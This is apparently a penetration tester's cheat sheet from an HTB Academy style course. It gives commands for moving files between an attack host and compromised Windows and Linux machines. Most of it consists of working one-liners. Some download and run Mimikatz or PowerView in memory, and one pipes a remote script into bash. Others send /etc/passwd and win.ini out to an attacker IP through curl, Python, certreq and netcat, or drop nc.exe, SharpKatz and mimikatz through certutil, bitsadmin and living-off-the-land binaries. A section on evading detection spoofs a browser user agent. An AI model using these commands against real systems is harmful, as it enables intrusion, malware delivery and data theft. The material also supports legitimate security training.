File Transfer

[*] Windows File Transfer

Download

Download a file with PowerShell

Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1

Execute a file in memory using PowerShell

IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')

Upload a file with PowerShell

Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64

Download a file using Bitsadmin

bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe

Download a file using Certutil

certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

Download a file using Wget

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

Download a file using cURL

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Download a file using PHP

php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

Invoke-WebRequest using a Chrome User Agent

Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe

Upload

Convert encode the content of the file in base64 on the victim machine then decode it on your host machine

[Convert]::ToBase64String((Get-Content -path "FILE_PATH" -Encoding byte))

echo FILE_CONTENT | base64 -d > OUTPUT_FILE

Set a python upload webserver then use PSUpload.ps1 Inoke-FileUpload function from the victim machine to upload the desired file.

pip3 install uploadserver

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Invoke-FileUpload -Uri http://HOST_IP:8000/upload -File DESIRED_FILE_PATH

Another way to use PowerShell and base64 encoded files for upload operations is by using Invoke-WebRequest or Invoke-RestMethod together with Netcat. We use Netcat to listen in on a port we specify and send the file as a POST request. Finally, we copy the output and use the base64 decode function to convert the base64 string into a file.

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'FILE_PATH' -Encoding Byte))

Invoke-WebRequest -Uri http://HOST_IP:8000/ -Method POST -Body $b64

nc -lvnp 8000

echo B64_ENCODED_STRING | base64 -d -w 0 > OUTPUT_FILE

Using WebDav Server. To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot. After installing them, we run the wsgidav application in the target directory.

sudo pip install wsgidav cheroot

sudo wsgidav --host=0.0.0.0 --port=80 --root=/target_dir --auth=anonymous

dir \\HOST_IP\DavWWWRoot

dir \\HOST_IP\target_dir

copy FILE_PATH \\HOST_IP\target_dir\

Uploading files using FTP is very similar to downloading files. We can use PowerShell or the FTP client to complete the operation. Before we start our FTP Server using the Python module pyftpdlib, we need to specify the option --write to allow clients to upload files to our attack host.

sudo pip3 install pyftpdlib

sudo python3 -m pyftpdlib --port 21 --write

(New-Object Net.WebClient).UploadFile('ftp://HOST_IP/OUTPUT_FILE', 'FILE_PATH')

Create a Command File for the FTP Client to Upload a File

C:\htb> echo open HOST_IP > ftpcommand.txt
C:\htb> echo USER anonymous >> ftpcommand.txt
C:\htb> echo binary >> ftpcommand.txt
C:\htb> echo PUT FILE_PATH >> ftpcommand.txt
C:\htb> echo bye >> ftpcommand.txt
C:\htb> ftp -v -n -s:ftpcommand.txt
ftp> open HOST_IP

Log in with USER and PASS first.


ftp> USER anonymous
ftp> PUT FILE_PATH
ftp> bye

[*] Linux File Transfer

Download

Base64 Enconding/Decoding

From the source machine:

cat filename |base64 -w 0;echo

To destination machine:

echo -n "B64_ENCODED_STRING" | base64 -d > filename

The confirm file has with

md5sum filename

Download a File Using wget

wget URL -O File_Path

Download a File Using cURL

curl URL -o File_Path

Download with Bash(/dev/tcp)
There may also be situations where none of the well-known file transfer tools are available. As long as Bash version 2.04 or greater is installed (compiled with --enable-net-redirections), the built-in /dev/TCP device file can be used for simple file downloads.

exec 3<>/dev/tcp/HOST_IP/HOST_PORT
echo -e "GET /Filename HTTP/1.1\n\n">&3
cat <&3

Linux - Downloading Files Using SCP

scp user@HOST_IP:File_Path Destination_Path

Upload

Web Upload

For this Linux example, let's see how we can configure the uploadserver module to use HTTPS for secure communication.

Installing the uploadserver module

sudo python3 -m pip install --user uploadserver

Create a Self-Signed Certificate:

openssl req -x509 -out Cert_NAME.pem -keyout KEY_NAME.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

The webserver should not host the certificate. I recommend creating a new directory to host the file for our webserver.

mkdir https && cd https

sudo python3 -m uploadserver 443 --server-certificate CERT_PATH

Upload Multiple Files

curl -X POST https://HOST_IP/upload -F 'files=@FILE_PATH' -F 'files=@/example_directory/example_file' --insecure

Alternative Web File Transfer Method

Creating a Web Server with Python3

python3 -m http.server

Creating a Web Server with Python2.7

python2.7 -m SimpleHTTPServer

Creating a Web Server with PHP

php -S 0.0.0.0:8000

Creating a Web Server with Ruby

ruby -run -ehttpd . -p8000

After setting a web server with any of the above methods you can just download your files using

wget TARGET_IP:PORT/filename

SCP Upload

 scp File_PATH user@IP:Destination_Path

[*] Transfering Files with Code

Download

Python 2

python2.7 -c 'import urllib;urllib.urlretrieve ("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python3

python3 -c 'import urllib.request;urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP Download with File_get_contents()

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

PHP Download with Fopen()

php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

PHP Download a File and Pipe it to Bash

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

Javascript

We'll create a file called wget.js and save the following content:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

We can use the following command from a Windows command prompt or PowerShell terminal to execute our JavaScript code and download a file.

C:\> cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView.ps1

VBScript

We'll create a file called wget.vbs and save the following content:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

We can use the following command from a Windows command prompt or PowerShell terminal to execute our VBScript code and download a file.

C:\> cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1 PowerView2.ps1

Upload

Upload Operations using Python3

Starting the Python uploadserver Module

python3 -m uploadserver

Uploading a File Using a Python One-liner

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

[*] Miscellaneous File Transfer Methods

File Transfer with Netcat and Ncat

NetCat - Compromised Machine - Listening on Port 8000

nc -l -p 8000 > SharpKatz.exe

Ncat - Compromised Machine - Listening on Port 8000

ncat -l -p 8000 --recv-only > SharpKatz.exe

The option -q 0 will tell Netcat to close the connection once it finishes. That way, we'll know when the file transfer was completed.

Netcat - Attack Host - Sending File to Compromised machine

nc -q 0 192.168.49.128 8000 < SharpKatz.exe

Ncat - Attack Host - Sending File to Compromised machine

ncat --send-only 192.168.49.128 8000 < SharpKatz.exe

The --send-only flag, when used in both connect and listen modes, prompts Ncat to terminate once its input is exhausted.

Attack Host - Sending File as Input to Netcat

sudo nc -l -p 443 -q 0 < SharpKatz.exe

Compromised Machine Connect to Netcat to Receive the File

nc 192.168.49.128 443 > SharpKatz.exe

Attack Host - Sending File as Input to Ncat

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Compromised Machine Connect to Ncat to Receive the File

ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

NetCat - Sending File as Input to Netcat

sudo nc -l -p 443 -q 0 < SharpKatz.exe

Ncat - Sending File as Input to Netcat

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File

cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

PowerShell Session File Transfer

To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the Remote Management Users group, or have explicit permissions for PowerShell Remoting in the session configuration. Let's create an example and transfer a file from DC01 to DATABASE01 and vice versa.

We have a session as Administrator in DC01, the user has administrative rights on DATABASE01, and PowerShell Remoting is enabled. Let's use Test-NetConnection to confirm we can connect to WinRM.

From DC01 - Confirm WinRM port TCP 5985 is Open on DATABASE01.

PS C:\htb> whoami

htb\administrator

PS C:\htb> hostname

DC01

PS C:\htb> Test-NetConnection -ComputerName DATABASE01 -Port 5985

ComputerName     : DATABASE01
RemoteAddress    : 192.168.1.101
RemotePort       : 5985
InterfaceAlias   : Ethernet0
SourceAddress    : 192.168.1.100
TcpTestSucceeded : True

Because this session already has privileges over DATABASE01, we don't need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.

Create a PowerShell Remoting Session to DATABASE01

PS C:\htb> $Session = New-PSSession -ComputerName DATABASE01

Copy samplefile.txt from our Localhost to the DATABASE01 Session

PS C:\htb> Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

Copy DATABASE.txt from DATABASE01 Session to our Localhost

PS C:\htb> Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

Mounting a Linux Folder Using rdesktop

rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files'

Mounting a Linux Folder Using xfreerdp

xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer

[*] Protected File Transfers

File Encryption on Windows

Import Module Invoke-AESEncryption.ps1

PS C:\htb> Import-Module .\Invoke-AESEncryption.ps1

File Encryption Example

PS C:\htb> Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt

File Decryption Example

Invoke-AESEncryption -Mode Decrypt -Key "p@ssw0rd" -Path .\scan-results.txt.aes

File Encryption on Linux

Encrypting /etc/passwd with openssl

We can also override the default iterations counts with the option -iter 100000 and add the option -pbkdf2 to use the Password-Based Key Derivation Function 2 algorithm.

openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc


enter aes-256-cbc encryption password:                                                         
Verifying - enter aes-256-cbc encryption password:

Decrypt passwd.enc with openssl

 openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
 enter aes-256-cbc decryption password:

[*] Catching Files over HTTP/S

Nginx - Enabling PUT

Create a Directory to Handle Uploaded Files

sudo mkdir -p /var/www/uploads/SecretUploadDirectory

Change the Owner to www-data

sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory

Create Nginx Configuration File

Create the Nginx configuration file by creating the file /etc/nginx/sites-available/upload.conf with the contents:

server {
    listen 9001;
    
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
    }
}

Symlink our Site to the sites-enabled Directory

sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

Start Nginx

sudo systemctl restart nginx.service

Verifying Errors

tail -2 `/var/log/nginx/error.log`

2020/11/17 16:11:56 [emerg] 5679#5679: bind() to 0.0.0.0:`80` failed (98: A`ddress already in use`)
2020/11/17 16:11:56 [emerg] 5679#5679: still could not bind()

Remove NginxDefault Configuration

sudo rm /etc/nginx/sites-enabled/default

Upload File Using cURL

curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt

[*] Living off The Land

LOLBAS

To search for download and upload functions in LOLBAS we can use /download or /upload.

Upload win.ini to our Pwnbox

C:\> certreq.exe -Post -config http://192.168.49.128/ c:\windows\win.ini

File Received in our Netcat Session

listening on [any] 80 ...
connect to [192.168.49.128] from (UNKNOWN) [192.168.49.1] 53819
POST / HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Content-Type: application/json
User-Agent: Mozilla/4.0 (compatible; Win32; NDES client 10.0.19041.1466/vb_release_svc_prod1)
Content-Length: 92
Host: 192.168.49.128

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

GTFOBins

To search for the download and upload function in GTFOBins for Linux Binaries, we can use +file download or +file upload.

Create Certificate in our Pwnbox

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

Stand up the Server in our Pwnbox

 openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

Download File from the Compromised Machine

openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Other Common Living off the Land tools

File Download with Bitsadmin

bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

Download a File with Certutil

C:\> certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

[*] Evading Detection

Request with Chrome User Agent

PS C:\> $UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
PS C:\> Invoke-WebRequest http://10.10.10.32/nc.exe -UserAgent $UserAgent -OutFile "C:\Users\Public\nc.exe"

LOLBAS / GTFOBins

Transferring File with GfxDownloadWrapper.exe

PS C:\> GfxDownloadWrapper.exe "http://10.10.10.132/mimikatz.exe" "C:\Temp\nc.exe"

PreviousNmap NextPasswords Attacks

Last updated 1 year ago

[*] Windows File Transfer

Download

Upload

[*] Linux File Transfer

Download

Upload

Web Upload

Alternative Web File Transfer Method

SCP Upload

[*] Transfering Files with Code

Download

Upload

[*] Miscellaneous File Transfer Methods

File Transfer with Netcat and Ncat

PowerShell Session File Transfer

RDP

[*] Protected File Transfers

File Encryption on Windows

File Encryption on Linux

[*] Catching Files over HTTP/S

Nginx - Enabling PUT

[*] Living off The Land

LOLBAS

GTFOBins

Other Common Living off the Land tools

[*] Evading Detection

LOLBAS / GTFOBins